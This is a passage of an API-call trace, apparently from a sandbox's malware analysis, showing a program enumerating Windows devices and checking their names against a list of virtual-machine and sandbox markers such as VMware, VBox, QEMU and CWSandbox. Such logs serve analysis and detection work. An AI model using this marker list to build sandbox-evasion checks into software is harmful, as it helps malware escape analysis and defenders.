Family USB2 Enhanced Host Controller - 293A", lpSrch="VMware Replay") returned 0x0 [0278.380] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VMware server memory") returned 0x0 [0278.380] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="CWSandbox") returned 0x0 [0278.380] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="Virtual HD") returned 0x0 [0278.380] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="QEMU") returned 0x0 [0278.381] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="Red Hat VirtIO") returned 0x0 [0278.381] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="srootkit") returned 0x0 [0278.381] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VMware VMaudio") returned 0x0 [0278.381] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VMware Vista") returned 0x0 [0278.381] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VBoxVideo") returned 0x0 [0278.381] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VBoxGuest") returned 0x0 [0278.381] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.381] GetLastError () returned 0x7a [0278.381] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efa80, PropertyBufferSize=0x8, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efa80, RequiredSize=0x19fe7c) returned 1 [0278.382] StrStrIA (lpFirst="usbehci", lpSrch="vmxnet") returned 0x0 [0278.382] StrStrIA (lpFirst="usbehci", lpSrch="vmscsi") returned 0x0 [0278.382] StrStrIA (lpFirst="usbehci", lpSrch="VMAUDIO") returned 0x0 [0278.382] StrStrIA (lpFirst="usbehci", lpSrch="vmdebug") returned 0x0 [0278.382] StrStrIA (lpFirst="usbehci", lpSrch="vm3dmp") returned 0x0 [0278.382] StrStrIA (lpFirst="usbehci", lpSrch="vmrawdsk") returned 0x0 [0278.382] StrStrIA (lpFirst="usbehci", lpSrch="vmx_svga") returned 0x0 [0278.382] StrStrIA (lpFirst="usbehci", lpSrch="ansfltr") returned 0x0 [0278.382] StrStrIA (lpFirst="usbehci", lpSrch="sbtisht") returned 0x0 [0278.382] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x17, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0278.383] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.394] GetLastError () returned 0x7a [0278.394] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x42) returned 0x26ef908 [0278.394] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x21, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0278.402] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26ef9f0 [0278.402] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VMware Pointing") returned 0x0 [0278.402] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0278.402] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef958 [0278.402] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VMware Accelerated") returned 0x0 [0278.402] lstrlenA (lpString="VMware Accelerated") returned 18 [0278.402] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef958 | out: hHeap=0x2670000) returned 1 [0278.402] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb10 [0278.402] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VMware SCSI") returned 0x0 [0278.402] lstrlenA (lpString="VMware SCSI") returned 11 [0278.402] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0278.402] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa98 [0278.402] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VMware SVGA") returned 0x0 [0278.402] lstrlenA (lpString="VMware SVGA") returned 11 [0278.402] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0278.402] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa80 [0278.402] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VMware Replay") returned 0x0 [0278.402] lstrlenA (lpString="VMware Replay") returned 13 [0278.403] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0278.403] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef958 [0278.403] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VMware server memory") returned 0x0 [0278.403] lstrlenA (lpString="VMware server memory") returned 20 [0278.403] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef958 | out: hHeap=0x2670000) returned 1 [0278.403] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efbb8 [0278.403] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="CWSandbox") returned 0x0 [0278.403] lstrlenA (lpString="CWSandbox") returned 9 [0278.403] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0278.403] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efb58 [0278.403] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="Virtual HD") returned 0x0 [0278.403] lstrlenA (lpString="Virtual HD") returned 10 [0278.403] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0278.403] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef758 [0278.403] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="QEMU") returned 0x0 [0278.403] lstrlenA (lpString="QEMU") returned 4 [0278.403] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef758 | out: hHeap=0x2670000) returned 1 [0278.403] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efa20 [0278.403] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="Red Hat VirtIO") returned 0x0 [0278.403] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0278.403] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0278.403] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb70 [0278.403] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="srootkit") returned 0x0 [0278.403] lstrlenA (lpString="srootkit") returned 8 [0278.404] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0278.404] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efba0 [0278.404] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VMware VMaudio") returned 0x0 [0278.404] lstrlenA (lpString="VMware VMaudio") returned 14 [0278.404] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0278.404] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef9f0 [0278.404] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VMware Vista") returned 0x0 [0278.404] lstrlenA (lpString="VMware Vista") returned 12 [0278.404] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0278.404] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa20 [0278.404] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VBoxVideo") returned 0x0 [0278.404] lstrlenA (lpString="VBoxVideo") returned 9 [0278.404] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0278.404] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efaf8 [0278.404] StrStrIA (lpFirst="Microsoft ???? ???? ?????? ?????", lpSrch="VBoxGuest") returned 0x0 [0278.404] lstrlenA (lpString="VBoxGuest") returned 9 [0278.404] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0278.404] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0278.404] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.405] GetLastError () returned 0x7a [0278.405] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa80 [0278.405] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efa80, PropertyBufferSize=0x6, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efa80, RequiredSize=0x19fe7c) returned 1 [0278.405] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef7d8 [0278.405] StrStrIA (lpFirst="kdnic", lpSrch="vmxnet") returned 0x0 [0278.405] lstrlenA (lpString="vmxnet") returned 6 [0278.405] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7d8 | out: hHeap=0x2670000) returned 1 [0278.405] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef878 [0278.405] StrStrIA (lpFirst="kdnic", lpSrch="vmscsi") returned 0x0 [0278.405] lstrlenA (lpString="vmscsi") returned 6 [0278.405] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef878 | out: hHeap=0x2670000) returned 1 [0278.405] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7e8 [0278.405] StrStrIA (lpFirst="kdnic", lpSrch="VMAUDIO") returned 0x0 [0278.406] lstrlenA (lpString="VMAUDIO") returned 7 [0278.406] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7e8 | out: hHeap=0x2670000) returned 1 [0278.406] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef728 [0278.406] StrStrIA (lpFirst="kdnic", lpSrch="vmdebug") returned 0x0 [0278.406] lstrlenA (lpString="vmdebug") returned 7 [0278.406] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef728 | out: hHeap=0x2670000) returned 1 [0278.406] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef758 [0278.406] StrStrIA (lpFirst="kdnic", lpSrch="vm3dmp") returned 0x0 [0278.406] lstrlenA (lpString="vm3dmp") returned 6 [0278.406] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef758 | out: hHeap=0x2670000) returned 1 [0278.406] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa08 [0278.406] StrStrIA (lpFirst="kdnic", lpSrch="vmrawdsk") returned 0x0 [0278.406] lstrlenA (lpString="vmrawdsk") returned 8 [0278.406] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0278.406] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb70 [0278.406] StrStrIA (lpFirst="kdnic", lpSrch="vmx_svga") returned 0x0 [0278.406] lstrlenA (lpString="vmx_svga") returned 8 [0278.406] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0278.406] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef738 [0278.406] StrStrIA (lpFirst="kdnic", lpSrch="ansfltr") returned 0x0 [0278.406] lstrlenA (lpString="ansfltr") returned 7 [0278.406] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef738 | out: hHeap=0x2670000) returned 1 [0278.406] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef8c8 [0278.407] StrStrIA (lpFirst="kdnic", lpSrch="sbtisht") returned 0x0 [0278.407] lstrlenA (lpString="sbtisht") returned 7 [0278.407] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8c8 | out: hHeap=0x2670000) returned 1 [0278.407] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0278.407] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x18, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0278.407] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.459] GetLastError () returned 0x7a [0278.459] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x22) returned 0x26ef908 [0278.459] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x11, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0278.462] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efa80 [0278.462] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware Pointing") returned 0x0 [0278.462] lstrlenA (lpString="VMware Pointing") returned 15 [0278.463] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0278.463] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef938 [0278.463] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware Accelerated") returned 0x0 [0278.463] lstrlenA (lpString="VMware Accelerated") returned 18 [0278.463] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef938 | out: hHeap=0x2670000) returned 1 [0278.463] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa20 [0278.463] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware SCSI") returned 0x0 [0278.463] lstrlenA (lpString="VMware SCSI") returned 11 [0278.463] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0278.463] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efae0 [0278.463] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware SVGA") returned 0x0 [0278.463] lstrlenA (lpString="VMware SVGA") returned 11 [0278.463] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0278.463] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efb40 [0278.463] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware Replay") returned 0x0 [0278.463] lstrlenA (lpString="VMware Replay") returned 13 [0278.463] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0278.463] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef938 [0278.463] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware server memory") returned 0x0 [0278.463] lstrlenA (lpString="VMware server memory") returned 20 [0278.463] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef938 | out: hHeap=0x2670000) returned 1 [0278.463] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb58 [0278.463] StrStrIA (lpFirst="??????? ???? ???", lpSrch="CWSandbox") returned 0x0 [0278.463] lstrlenA (lpString="CWSandbox") returned 9 [0278.464] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0278.464] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efa08 [0278.464] StrStrIA (lpFirst="??????? ???? ???", lpSrch="Virtual HD") returned 0x0 [0278.464] lstrlenA (lpString="Virtual HD") returned 10 [0278.464] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0278.464] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef7d8 [0278.464] StrStrIA (lpFirst="??????? ???? ???", lpSrch="QEMU") returned 0x0 [0278.464] lstrlenA (lpString="QEMU") returned 4 [0278.464] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7d8 | out: hHeap=0x2670000) returned 1 [0278.464] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efab0 [0278.464] StrStrIA (lpFirst="??????? ???? ???", lpSrch="Red Hat VirtIO") returned 0x0 [0278.464] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0278.464] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0278.464] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb40 [0278.464] StrStrIA (lpFirst="??????? ???? ???", lpSrch="srootkit") returned 0x0 [0278.464] lstrlenA (lpString="srootkit") returned 8 [0278.464] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0278.464] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efae0 [0278.464] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware VMaudio") returned 0x0 [0278.464] lstrlenA (lpString="VMware VMaudio") returned 14 [0278.464] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0278.464] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efbb8 [0278.464] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware Vista") returned 0x0 [0278.465] lstrlenA (lpString="VMware Vista") returned 12 [0278.465] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0278.465] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa50 [0278.465] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VBoxVideo") returned 0x0 [0278.465] lstrlenA (lpString="VBoxVideo") returned 9 [0278.465] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0278.465] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa98 [0278.465] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VBoxGuest") returned 0x0 [0278.465] lstrlenA (lpString="VBoxGuest") returned 9 [0278.465] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0278.465] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0278.465] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.465] GetLastError () returned 0xd [0278.465] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x19, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0278.465] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.468] GetLastError () returned 0x7a [0278.468] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x22) returned 0x26ef908 [0278.468] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x11, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0278.471] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efac8 [0278.471] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware Pointing") returned 0x0 [0278.471] lstrlenA (lpString="VMware Pointing") returned 15 [0278.472] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0278.472] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef938 [0278.472] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware Accelerated") returned 0x0 [0278.472] lstrlenA (lpString="VMware Accelerated") returned 18 [0278.472] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef938 | out: hHeap=0x2670000) returned 1 [0278.472] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb88 [0278.472] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware SCSI") returned 0x0 [0278.472] lstrlenA (lpString="VMware SCSI") returned 11 [0278.472] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0278.472] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa08 [0278.472] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware SVGA") returned 0x0 [0278.472] lstrlenA (lpString="VMware SVGA") returned 11 [0278.472] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0278.472] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26ef9f0 [0278.472] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware Replay") returned 0x0 [0278.472] lstrlenA (lpString="VMware Replay") returned 13 [0278.472] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0278.472] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef938 [0278.472] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware server memory") returned 0x0 [0278.472] lstrlenA (lpString="VMware server memory") returned 20 [0278.472] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef938 | out: hHeap=0x2670000) returned 1 [0278.472] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa38 [0278.472] StrStrIA (lpFirst="??????? ???? ???", lpSrch="CWSandbox") returned 0x0 [0278.473] lstrlenA (lpString="CWSandbox") returned 9 [0278.473] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0278.473] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efbb8 [0278.473] StrStrIA (lpFirst="??????? ???? ???", lpSrch="Virtual HD") returned 0x0 [0278.473] lstrlenA (lpString="Virtual HD") returned 10 [0278.473] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0278.473] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef828 [0278.473] StrStrIA (lpFirst="??????? ???? ???", lpSrch="QEMU") returned 0x0 [0278.473] lstrlenA (lpString="QEMU") returned 4 [0278.473] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef828 | out: hHeap=0x2670000) returned 1 [0278.473] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efa08 [0278.473] StrStrIA (lpFirst="??????? ???? ???", lpSrch="Red Hat VirtIO") returned 0x0 [0278.473] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0278.473] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0278.473] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa20 [0278.473] StrStrIA (lpFirst="??????? ???? ???", lpSrch="srootkit") returned 0x0 [0278.473] lstrlenA (lpString="srootkit") returned 8 [0278.473] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0278.473] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb10 [0278.473] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware VMaudio") returned 0x0 [0278.473] lstrlenA (lpString="VMware VMaudio") returned 14 [0278.473] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0278.473] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efb58 [0278.474] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VMware Vista") returned 0x0 [0278.474] lstrlenA (lpString="VMware Vista") returned 12 [0278.474] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0278.474] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb10 [0278.474] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VBoxVideo") returned 0x0 [0278.474] lstrlenA (lpString="VBoxVideo") returned 9 [0278.474] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0278.474] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa68 [0278.474] StrStrIA (lpFirst="??????? ???? ???", lpSrch="VBoxGuest") returned 0x0 [0278.474] lstrlenA (lpString="VBoxGuest") returned 9 [0278.474] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0278.474] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0278.474] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, 